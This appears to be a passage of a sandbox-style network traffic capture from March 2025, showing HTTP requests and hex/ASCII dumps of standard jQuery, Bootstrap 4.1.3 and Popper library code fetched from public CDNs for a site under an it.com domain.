2025-03-18 12:42:39 UTC	1378	IN	Data Raw: 6e 6f 77 2c 73 75 70 70 6f 72 74 3a 6f 7d 29 2c 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 26 26 28 72 2e 66 6e 5b 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 5d 3d 63 5b 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 5d 29 2c 72 2e 65 61 63 68 28 22 42 6f 6f 6c 65 61 6e 20 4e 75 6d 62 65 72 20 53 74 72 69 6e 67 20 46 75 6e 63 74 69 6f 6e 20 41 72 72 61 79 20 44 61 74 65 20 52 65 67 45 78 70 20 4f 62 6a 65 63 74 20 45 72 72 6f 72 20 53 79 6d 62 6f 6c 22 2e 73 70 6c 69 74 28 22 20 22 29 2c 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 6a 5b 22 5b 6f 62 6a 65 63 74 20 22 2b 62 2b 22 5d 22 5d 3d 62 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 7d 29 3b 66 75 6e 63 74 69 6f 6e 20 77 28 61 29 7b 76 61 72 20 62 3d 21 21 61 26 26 22 6c 65 Data Ascii: now,support:o}),"function"==typeof Symbol&&(r.fn[Symbol.iterator]=c[Symbol.iterator]),r.each("Boolean Number String Function Array Date RegExp Object Error Symbol".split(" "),function(a,b){j["[object "+b+"]"]=b.toLowerCase()});function w(a){var b=!!a&&"le
2025-03-18 12:42:39 UTC	1378	IN	Data Raw: 22 29 22 29 2c 43 4c 41 53 53 3a 6e 65 77 20 52 65 67 45 78 70 28 22 5e 5c 5c 2e 28 22 2b 4c 2b 22 29 22 29 2c 54 41 47 3a 6e 65 77 20 52 65 67 45 78 70 28 22 5e 28 22 2b 4c 2b 22 7c 5b 2a 5d 29 22 29 2c 41 54 54 52 3a 6e 65 77 20 52 65 67 45 78 70 28 22 5e 22 2b 4d 29 2c 50 53 45 55 44 4f 3a 6e 65 77 20 52 65 67 45 78 70 28 22 5e 22 2b 4e 29 2c 43 48 49 4c 44 3a 6e 65 77 20 52 65 67 45 78 70 28 22 5e 3a 28 6f 6e 6c 79 7c 66 69 72 73 74 7c 6c 61 73 74 7c 6e 74 68 7c 6e 74 68 2d 6c 61 73 74 29 2d 28 63 68 69 6c 64 7c 6f 66 2d 74 79 70 65 29 28 3f 3a 5c 5c 28 22 2b 4b 2b 22 2a 28 65 76 65 6e 7c 6f 64 64 7c 28 28 5b 2b 2d 5d 7c 29 28 5c 5c 64 2a 29 6e 7c 29 22 2b 4b 2b 22 2a 28 3f 3a 28 5b 2b 2d 5d 7c 29 22 2b 4b 2b 22 2a 28 5c 5c 64 2b 29 7c 29 29 22 2b 4b Data Ascii: ")"),CLASS:new RegExp("^\\.("+L+")"),TAG:new RegExp("^("+L+"\|[])"),ATTR:new RegExp("^"+M),PSEUDO:new RegExp("^"+N),CHILD:new RegExp("^:(only\|first\|last\|nth\|nth-last)-(child\|of-type)(?:\\("+K+"(even\|odd\|(([+-]\|)(\\d)n\|)"+K+"(?:([+-]\|)"+K+"*(\\d+)\|))"+K
2025-03-18 12:42:39 UTC	1378	IN	Data Raw: 3d 3d 77 26 26 31 31 21 3d 3d 77 29 72 65 74 75 72 6e 20 64 3b 69 66 28 21 65 26 26 28 28 62 3f 62 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c 7c 62 3a 76 29 21 3d 3d 6e 26 26 6d 28 62 29 2c 62 3d 62 7c 7c 6e 2c 70 29 29 7b 69 66 28 31 31 21 3d 3d 77 26 26 28 6c 3d 5a 2e 65 78 65 63 28 61 29 29 29 69 66 28 66 3d 6c 5b 31 5d 29 7b 69 66 28 39 3d 3d 3d 77 29 7b 69 66 28 21 28 6a 3d 62 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 66 29 29 29 72 65 74 75 72 6e 20 64 3b 69 66 28 6a 2e 69 64 3d 3d 3d 66 29 72 65 74 75 72 6e 20 64 2e 70 75 73 68 28 6a 29 2c 64 7d 65 6c 73 65 20 69 66 28 73 26 26 28 6a 3d 73 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 66 29 29 26 26 74 28 62 2c 6a 29 26 26 6a 2e 69 64 3d 3d 3d 66 29 72 65 74 75 72 6e 20 64 2e 70 75 73 68 Data Ascii: ==w&&11!==w)return d;if(!e&&((b?b.ownerDocument\|\|b:v)!==n&&m(b),b=b\|\|n,p)){if(11!==w&&(l=Z.exec(a)))if(f=l[1]){if(9===w){if(!(j=b.getElementById(f)))return d;if(j.id===f)return d.push(j),d}else if(s&&(j=s.getElementById(f))&&t(b,j)&&j.id===f)return d.push
2025-03-18 12:42:39 UTC	1378	IN	Data Raw: 20 6d 61 28 61 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 62 29 7b 76 61 72 20 63 3d 62 2e 6e 6f 64 65 4e 61 6d 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 3b 72 65 74 75 72 6e 22 69 6e 70 75 74 22 3d 3d 3d 63 26 26 62 2e 74 79 70 65 3d 3d 3d 61 7d 7d 66 75 6e 63 74 69 6f 6e 20 6e 61 28 61 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 62 29 7b 76 61 72 20 63 3d 62 2e 6e 6f 64 65 4e 61 6d 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 3b 72 65 74 75 72 6e 28 22 69 6e 70 75 74 22 3d 3d 3d 63 7c 7c 22 62 75 74 74 6f 6e 22 3d 3d 3d 63 29 26 26 62 2e 74 79 70 65 3d 3d 3d 61 7d 7d 66 75 6e 63 74 69 6f 6e 20 6f 61 28 61 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 62 29 7b 72 65 74 75 72 6e 22 66 6f 72 6d 22 69 6e 20 62 3f 62 2e 70 61 Data Ascii: ma(a){return function(b){var c=b.nodeName.toLowerCase();return"input"===c&&b.type===a}}function na(a){return function(b){var c=b.nodeName.toLowerCase();return("input"===c\|\|"button"===c)&&b.type===a}}function oa(a){return function(b){return"form"in b?b.pa
2025-03-18 12:42:39 UTC	1378	IN	Data Raw: 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 4e 61 6d 65 7c 7c 21 6e 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 4e 61 6d 65 28 75 29 2e 6c 65 6e 67 74 68 7d 29 2c 63 2e 67 65 74 42 79 49 64 3f 28 64 2e 66 69 6c 74 65 72 2e 49 44 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3d 61 2e 72 65 70 6c 61 63 65 28 5f 2c 61 61 29 3b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 69 64 22 29 3d 3d 3d 62 7d 7d 2c 64 2e 66 69 6e 64 2e 49 44 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 69 66 28 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 62 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 26 26 70 29 7b 76 61 72 20 63 3d 62 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 61 29 Data Ascii: getElementsByName\|\|!n.getElementsByName(u).length}),c.getById?(d.filter.ID=function(a){var b=a.replace(_,aa);return function(a){return a.getAttribute("id")===b}},d.find.ID=function(a,b){if("undefined"!=typeof b.getElementById&&p){var c=b.getElementById(a)
2025-03-18 12:42:39 UTC	1378	IN	Data Raw: 2e 70 75 73 68 28 22 5b 2a 5e 24 5d 3d 22 2b 4b 2b 22 2a 28 3f 3a 27 27 7c 5c 22 5c 22 29 22 29 2c 61 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 5b 73 65 6c 65 63 74 65 64 5d 22 29 2e 6c 65 6e 67 74 68 7c 7c 71 2e 70 75 73 68 28 22 5c 5c 5b 22 2b 4b 2b 22 2a 28 3f 3a 76 61 6c 75 65 7c 22 2b 4a 2b 22 29 22 29 2c 61 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 5b 69 64 7e 3d 22 2b 75 2b 22 2d 5d 22 29 2e 6c 65 6e 67 74 68 7c 7c 71 2e 70 75 73 68 28 22 7e 3d 22 29 2c 61 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 3a 63 68 65 63 6b 65 64 22 29 2e 6c 65 6e 67 74 68 7c 7c 71 2e 70 75 73 68 28 22 3a 63 68 65 63 6b 65 64 22 29 2c 61 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 61 23 22 2b 75 2b 22 2b 2a 22 29 2e Data Ascii: .push("[^$]="+K+"(?:''\|\"\")"),a.querySelectorAll("[selected]").length\|\|q.push("\\["+K+"(?:value\|"+J+")"),a.querySelectorAll("[id~="+u+"-]").length\|\|q.push("~="),a.querySelectorAll(":checked").length\|\|q.push(":checked"),a.querySelectorAll("a#"+u+"+").
2025-03-18 12:42:39 UTC	1378	IN	Data Raw: 65 29 69 66 28 62 3d 3d 3d 61 29 72 65 74 75 72 6e 21 30 3b 72 65 74 75 72 6e 21 31 7d 2c 42 3d 62 3f 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 69 66 28 61 3d 3d 3d 62 29 72 65 74 75 72 6e 20 6c 3d 21 30 2c 30 3b 76 61 72 20 64 3d 21 61 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 2d 21 62 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 3b 72 65 74 75 72 6e 20 64 3f 64 3a 28 64 3d 28 61 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c 7c 61 29 3d 3d 3d 28 62 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c 7c 62 29 3f 61 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 28 62 29 3a 31 2c 31 26 64 7c 7c 21 63 2e 73 6f 72 74 44 65 74 61 63 68 65 64 26 26 62 2e 63 6f 6d 70 61 72 65 44 6f 63 75 Data Ascii: e)if(b===a)return!0;return!1},B=b?function(a,b){if(a===b)return l=!0,0;var d=!a.compareDocumentPosition-!b.compareDocumentPosition;return d?d:(d=(a.ownerDocument\|\|a)===(b.ownerDocument\|\|b)?a.compareDocumentPosition(b):1,1&d\|\|!c.sortDetached&&b.compareDocu

Timestamp	Bytes transferred	Direction	Data
2025-03-18 12:42:38 UTC	707	OUT	GET /bootstrap/4.1.3/js/bootstrap.min.js HTTP/1.1 Host: stackpath.bootstrapcdn.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Sec-Fetch-Storage-Access: active Referer: https://bonsoiree.mareanebulosasao.it.com/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-18 12:42:39 UTC	964	IN	HTTP/1.1 200 OK Date: Tue, 18 Mar 2025 12:42:39 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close CDN-PullZone: 252412 CDN-Uid: b1941f61-b576-4f40-80de-5677acb38f74 CDN-RequestCountryCode: US Vary: Accept-Encoding Access-Control-Allow-Origin: * Cache-Control: public, max-age=31919000 ETag: W/"67176c242e1bdc20603c878dee836df3" Last-Modified: Mon, 25 Jan 2021 22:04:06 GMT CDN-ProxyVer: 1.04 CDN-RequestPullSuccess: True CDN-RequestPullCode: 200 CDN-CachedAt: 10/04/2024 02:53:43 CDN-EdgeStorageId: 1029 timing-allow-origin: * cross-origin-resource-policy: cross-origin X-Content-Type-Options: nosniff CDN-Status: 200 CDN-RequestTime: 1 CDN-RequestId: 7fedeed1ac4f734c4f5baf0abe375bbe CDN-Cache: HIT CF-Cache-Status: HIT Age: 8157 Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Server: cloudflare CF-RAY: 9224cfa9fb02189d-EWR alt-svc: h3=":443"; ma=86400
2025-03-18 12:42:39 UTC	405	IN	Data Raw: 37 62 65 66 0d 0a 2f 2a 21 0a 20 20 2a 20 42 6f 6f 74 73 74 72 61 70 20 76 34 2e 31 2e 33 20 28 68 74 74 70 73 3a 2f 2f 67 65 74 62 6f 6f 74 73 74 72 61 70 2e 63 6f 6d 2f 29 0a 20 20 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 31 31 2d 32 30 31 38 20 54 68 65 20 42 6f 6f 74 73 74 72 61 70 20 41 75 74 68 6f 72 73 20 28 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 74 77 62 73 2f 62 6f 6f 74 73 74 72 61 70 2f 67 72 61 70 68 73 2f 63 6f 6e 74 72 69 62 75 74 6f 72 73 29 0a 20 20 2a 20 4c 69 63 65 6e 73 65 64 20 75 6e 64 65 72 20 4d 49 54 20 28 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 74 77 62 73 2f 62 6f 6f 74 73 74 72 61 70 2f 62 6c 6f 62 2f 6d 61 73 74 65 72 2f 4c 49 43 45 4e 53 45 29 0a 20 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 Data Ascii: 7bef/! Bootstrap v4.1.3 (https://getbootstrap.com/) * Copyright 2011-2018 The Bootstrap Authors (https://github.com/twbs/bootstrap/graphs/contributors) * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) */!function(
2025-03-18 12:42:39 UTC	1369	IN	Data Raw: 6e 65 28 5b 22 65 78 70 6f 72 74 73 22 2c 22 6a 71 75 65 72 79 22 2c 22 70 6f 70 70 65 72 2e 6a 73 22 5d 2c 65 29 3a 65 28 74 2e 62 6f 6f 74 73 74 72 61 70 3d 7b 7d 2c 74 2e 6a 51 75 65 72 79 2c 74 2e 50 6f 70 70 65 72 29 7d 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 68 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 66 75 6e 63 74 69 6f 6e 20 69 28 74 2c 65 29 7b 66 6f 72 28 76 61 72 20 6e 3d 30 3b 6e 3c 65 2e 6c 65 6e 67 74 68 3b 6e 2b 2b 29 7b 76 61 72 20 69 3d 65 5b 6e 5d 3b 69 2e 65 6e 75 6d 65 72 61 62 6c 65 3d 69 2e 65 6e 75 6d 65 72 61 62 6c 65 7c 7c 21 31 2c 69 2e 63 6f 6e 66 69 67 75 72 61 62 6c 65 3d 21 30 2c 22 76 61 6c 75 65 22 69 6e 20 69 26 26 28 69 2e 77 72 69 74 61 62 6c 65 3d 21 30 29 2c 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 Data Ascii: ne(["exports","jquery","popper.js"],e):e(t.bootstrap={},t.jQuery,t.Popper)}(this,function(t,e,h){"use strict";function i(t,e){for(var n=0;n<e.length;n++){var i=e[n];i.enumerable=i.enumerable\|\|!1,i.configurable=!0,"value"in i&&(i.writable=!0),Object.define
2025-03-18 12:42:39 UTC	1369	IN	Data Raw: 6e 2c 6a 6e 2c 48 6e 2c 4c 6e 2c 52 6e 2c 78 6e 2c 57 6e 2c 55 6e 2c 71 6e 2c 46 6e 3d 66 75 6e 63 74 69 6f 6e 28 69 29 7b 76 61 72 20 65 3d 22 74 72 61 6e 73 69 74 69 6f 6e 65 6e 64 22 3b 66 75 6e 63 74 69 6f 6e 20 74 28 74 29 7b 76 61 72 20 65 3d 74 68 69 73 2c 6e 3d 21 31 3b 72 65 74 75 72 6e 20 69 28 74 68 69 73 29 2e 6f 6e 65 28 6c 2e 54 52 41 4e 53 49 54 49 4f 4e 5f 45 4e 44 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 6e 3d 21 30 7d 29 2c 73 65 74 54 69 6d 65 6f 75 74 28 66 75 6e 63 74 69 6f 6e 28 29 7b 6e 7c 7c 6c 2e 74 72 69 67 67 65 72 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 28 65 29 7d 2c 74 29 2c 74 68 69 73 7d 76 61 72 20 6c 3d 7b 54 52 41 4e 53 49 54 49 4f 4e 5f 45 4e 44 3a 22 62 73 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 22 2c 67 65 74 55 49 44 3a 66 Data Ascii: n,jn,Hn,Ln,Rn,xn,Wn,Un,qn,Fn=function(i){var e="transitionend";function t(t){var e=this,n=!1;return i(this).one(l.TRANSITION_END,function(){n=!0}),setTimeout(function(){n\|\|l.triggerTransitionEnd(e)},t),this}var l={TRANSITION_END:"bsTransitionEnd",getUID:f
2025-03-18 12:42:39 UTC	1369	IN	Data Raw: 64 6c 65 72 2e 61 70 70 6c 79 28 74 68 69 73 2c 61 72 67 75 6d 65 6e 74 73 29 7d 7d 2c 6c 7d 28 65 29 2c 4b 6e 3d 28 6e 3d 22 61 6c 65 72 74 22 2c 61 3d 22 2e 22 2b 28 6f 3d 22 62 73 2e 61 6c 65 72 74 22 29 2c 63 3d 28 72 3d 65 29 2e 66 6e 5b 6e 5d 2c 75 3d 7b 43 4c 4f 53 45 3a 22 63 6c 6f 73 65 22 2b 61 2c 43 4c 4f 53 45 44 3a 22 63 6c 6f 73 65 64 22 2b 61 2c 43 4c 49 43 4b 5f 44 41 54 41 5f 41 50 49 3a 22 63 6c 69 63 6b 22 2b 61 2b 22 2e 64 61 74 61 2d 61 70 69 22 7d 2c 66 3d 22 61 6c 65 72 74 22 2c 64 3d 22 66 61 64 65 22 2c 67 3d 22 73 68 6f 77 22 2c 5f 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 69 28 74 29 7b 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 3d 74 7d 76 61 72 20 74 3d 69 2e 70 72 6f 74 6f 74 79 70 65 3b 72 65 74 75 72 6e 20 Data Ascii: dler.apply(this,arguments)}},l}(e),Kn=(n="alert",a="."+(o="bs.alert"),c=(r=e).fn[n],u={CLOSE:"close"+a,CLOSED:"closed"+a,CLICK_DATA_API:"click"+a+".data-api"},f="alert",d="fade",g="show",_=function(){function i(t){this._element=t}var t=i.prototype;return
2025-03-18 12:42:39 UTC	1369	IN	Data Raw: 5f 68 61 6e 64 6c 65 44 69 73 6d 69 73 73 28 6e 65 77 20 5f 29 29 2c 72 2e 66 6e 5b 6e 5d 3d 5f 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 2c 72 2e 66 6e 5b 6e 5d 2e 43 6f 6e 73 74 72 75 63 74 6f 72 3d 5f 2c 72 2e 66 6e 5b 6e 5d 2e 6e 6f 43 6f 6e 66 6c 69 63 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 72 2e 66 6e 5b 6e 5d 3d 63 2c 5f 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 7d 2c 5f 29 2c 4d 6e 3d 28 70 3d 22 62 75 74 74 6f 6e 22 2c 79 3d 22 2e 22 2b 28 76 3d 22 62 73 2e 62 75 74 74 6f 6e 22 29 2c 45 3d 22 2e 64 61 74 61 2d 61 70 69 22 2c 43 3d 28 6d 3d 65 29 2e 66 6e 5b 70 5d 2c 54 3d 22 61 63 74 69 76 65 22 2c 62 3d 22 62 74 6e 22 2c 49 3d 27 5b 64 61 74 61 2d 74 6f 67 67 6c 65 5e 3d 22 62 75 74 74 6f 6e 22 5d 27 2c 41 Data Ascii: _handleDismiss(new _)),r.fn[n]=_._jQueryInterface,r.fn[n].Constructor=_,r.fn[n].noConflict=function(){return r.fn[n]=c,_._jQueryInterface},_),Mn=(p="button",y="."+(v="bs.button"),E=".data-api",C=(m=e).fn[p],T="active",b="btn",I='[data-toggle^="button"]',A
2025-03-18 12:42:39 UTC	1369	IN	Data Raw: 7b 74 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 28 29 3b 76 61 72 20 65 3d 74 2e 74 61 72 67 65 74 3b 6d 28 65 29 2e 68 61 73 43 6c 61 73 73 28 62 29 7c 7c 28 65 3d 6d 28 65 29 2e 63 6c 6f 73 65 73 74 28 4e 29 29 2c 6b 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 2e 63 61 6c 6c 28 6d 28 65 29 2c 22 74 6f 67 67 6c 65 22 29 7d 29 2e 6f 6e 28 4f 2e 46 4f 43 55 53 5f 42 4c 55 52 5f 44 41 54 41 5f 41 50 49 2c 49 2c 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 6d 28 74 2e 74 61 72 67 65 74 29 2e 63 6c 6f 73 65 73 74 28 4e 29 5b 30 5d 3b 6d 28 65 29 2e 74 6f 67 67 6c 65 43 6c 61 73 73 28 53 2c 2f 5e 66 6f 63 75 73 28 69 6e 29 3f 24 2f 2e 74 65 73 74 28 74 2e 74 79 70 65 29 29 7d 29 2c 6d 2e 66 6e 5b 70 5d 3d 6b 2e 5f 6a 51 75 65 72 79 49 6e 74 Data Ascii: {t.preventDefault();var e=t.target;m(e).hasClass(b)\|\|(e=m(e).closest(N)),k._jQueryInterface.call(m(e),"toggle")}).on(O.FOCUS_BLUR_DATA_API,I,function(t){var e=m(t.target).closest(N)[0];m(e).toggleClass(S,/^focus(in)?$/.test(t.type))}),m.fn[p]=k._jQueryInt
2025-03-18 12:42:39 UTC	1369	IN	Data Raw: 73 2e 5f 65 6c 65 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 6e 74 29 2c 74 68 69 73 2e 5f 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 73 28 29 7d 76 61 72 20 74 3d 6f 2e 70 72 6f 74 6f 74 79 70 65 3b 72 65 74 75 72 6e 20 74 2e 6e 65 78 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 2e 5f 69 73 53 6c 69 64 69 6e 67 7c 7c 74 68 69 73 2e 5f 73 6c 69 64 65 28 71 29 7d 2c 74 2e 6e 65 78 74 57 68 65 6e 56 69 73 69 62 6c 65 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 21 64 6f 63 75 6d 65 6e 74 2e 68 69 64 64 65 6e 26 26 50 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 69 73 28 22 3a 76 69 73 69 62 6c 65 22 29 26 26 22 68 69 64 64 65 6e 22 21 3d 3d 50 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 63 73 73 28 22 76 69 73 69 62 69 6c 69 74 79 22 Data Ascii: s._element.querySelector(nt),this._addEventListeners()}var t=o.prototype;return t.next=function(){this._isSliding\|\|this._slide(q)},t.nextWhenVisible=function(){!document.hidden&&P(this._element).is(":visible")&&"hidden"!==P(this._element).css("visibility"
2025-03-18 12:42:39 UTC	1369	IN	Data Raw: 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 74 3d 6c 28 7b 7d 2c 57 2c 74 29 2c 46 6e 2e 74 79 70 65 43 68 65 63 6b 43 6f 6e 66 69 67 28 6a 2c 74 2c 55 29 2c 74 7d 2c 74 2e 5f 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 73 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 74 68 69 73 3b 74 68 69 73 2e 5f 63 6f 6e 66 69 67 2e 6b 65 79 62 6f 61 72 64 26 26 50 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 6f 6e 28 51 2e 4b 45 59 44 4f 57 4e 2c 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 65 2e 5f 6b 65 79 64 6f 77 6e 28 74 29 7d 29 2c 22 68 6f 76 65 72 22 3d 3d 3d 74 68 69 73 2e 5f 63 6f 6e 66 69 67 2e 70 61 75 73 65 26 26 28 50 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 6f 6e 28 51 2e 4d 4f 55 53 45 45 4e 54 45 52 2c 66 Data Ascii: unction(t){return t=l({},W,t),Fn.typeCheckConfig(j,t,U),t},t._addEventListeners=function(){var e=this;this._config.keyboard&&P(this._element).on(Q.KEYDOWN,function(t){return e._keydown(t)}),"hover"===this._config.pause&&(P(this._element).on(Q.MOUSEENTER,f
2025-03-18 12:42:39 UTC	1369	IN	Data Raw: 65 6e 74 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 69 66 28 74 68 69 73 2e 5f 69 6e 64 69 63 61 74 6f 72 73 45 6c 65 6d 65 6e 74 29 7b 76 61 72 20 65 3d 5b 5d 2e 73 6c 69 63 65 2e 63 61 6c 6c 28 74 68 69 73 2e 5f 69 6e 64 69 63 61 74 6f 72 73 45 6c 65 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 24 29 29 3b 50 28 65 29 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 56 29 3b 76 61 72 20 6e 3d 74 68 69 73 2e 5f 69 6e 64 69 63 61 74 6f 72 73 45 6c 65 6d 65 6e 74 2e 63 68 69 6c 64 72 65 6e 5b 74 68 69 73 2e 5f 67 65 74 49 74 65 6d 49 6e 64 65 78 28 74 29 5d 3b 6e 26 26 50 28 6e 29 2e 61 64 64 43 6c 61 73 73 28 56 29 7d 7d 2c 74 2e 5f 73 6c 69 64 65 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 76 61 72 20 6e 2c 69 2c 72 2c 6f 3d 74 68 69 73 2c 73 3d Data Ascii: ent=function(t){if(this._indicatorsElement){var e=[].slice.call(this._indicatorsElement.querySelectorAll($));P(e).removeClass(V);var n=this._indicatorsElement.children[this._getItemIndex(t)];n&&P(n).addClass(V)}},t._slide=function(t,e){var n,i,r,o=this,s=
2025-03-18 12:42:39 UTC	1369	IN	Data Raw: 74 6f 28 69 29 3b 65 6c 73 65 20 69 66 28 22 73 74 72 69 6e 67 22 3d 3d 74 79 70 65 6f 66 20 6e 29 7b 69 66 28 22 75 6e 64 65 66 69 6e 65 64 22 3d 3d 74 79 70 65 6f 66 20 74 5b 6e 5d 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 27 4e 6f 20 6d 65 74 68 6f 64 20 6e 61 6d 65 64 20 22 27 2b 6e 2b 27 22 27 29 3b 74 5b 6e 5d 28 29 7d 65 6c 73 65 20 65 2e 69 6e 74 65 72 76 61 6c 26 26 28 74 2e 70 61 75 73 65 28 29 2c 74 2e 63 79 63 6c 65 28 29 29 7d 29 7d 2c 6f 2e 5f 64 61 74 61 41 70 69 43 6c 69 63 6b 48 61 6e 64 6c 65 72 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 46 6e 2e 67 65 74 53 65 6c 65 63 74 6f 72 46 72 6f 6d 45 6c 65 6d 65 6e 74 28 74 68 69 73 29 3b 69 66 28 65 29 7b 76 61 72 20 6e 3d 50 28 65 29 5b 30 5d 3b 69 66 28 6e Data Ascii: to(i);else if("string"==typeof n){if("undefined"==typeof t[n])throw new TypeError('No method named "'+n+'"');t[n]()}else e.interval&&(t.pause(),t.cycle())})},o._dataApiClickHandler=function(t){var e=Fn.getSelectorFromElement(this);if(e){var n=P(e)[0];if(n

Timestamp	Bytes transferred	Direction	Data
2025-03-18 12:42:38 UTC	724	OUT	GET /ajax/libs/popper.js/1.12.9/umd/popper.min.js HTTP/1.1 Host: cdnjs.cloudflare.com Connection: keep-alive Origin: https://bonsoiree.mareanebulosasao.it.com sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://bonsoiree.mareanebulosasao.it.com/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-18 12:42:39 UTC	967	IN	HTTP/1.1 200 OK Date: Tue, 18 Mar 2025 12:42:39 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Cache-Control: public, max-age=30672000 ETag: W/"649949ff-1afc" Last-Modified: Mon, 26 Jun 2023 08:19:11 GMT cf-cdnjs-via: cfworker/r2 Cross-Origin-Resource-Policy: cross-origin Timing-Allow-Origin: * X-Content-Type-Options: nosniff CF-Cache-Status: HIT Age: 1532172 Expires: Sun, 08 Mar 2026 12:42:39 GMT Report-To: 